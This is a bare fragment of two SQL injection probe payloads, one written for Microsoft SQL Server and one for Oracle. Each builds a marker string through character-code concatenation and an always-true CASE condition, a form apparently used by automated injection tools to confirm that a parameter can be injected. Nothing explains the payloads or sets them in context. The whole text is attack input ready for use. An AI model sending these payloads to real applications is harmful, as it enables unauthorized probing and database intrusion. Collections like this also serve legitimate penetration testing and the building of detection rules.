(SELECT CHAR(113)+CHAR(122)+CHAR(112)+CHAR(112)+CHAR(113)+(CASE WHEN (6588=6588) THEN CHAR(49) ELSE CHAR(48) END)+CHAR(113)+CHAR(118)+CHAR(118)+CHAR(112)+CHAR(113))

(SELECT CHR(113)||CHR(122)||CHR(112)||CHR(112)||CHR(113)||(CASE WHEN (9774=9774) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||CHR(113)||CHR(118)||CHR(118)||CHR(112)||CHR(113) FROM DUAL)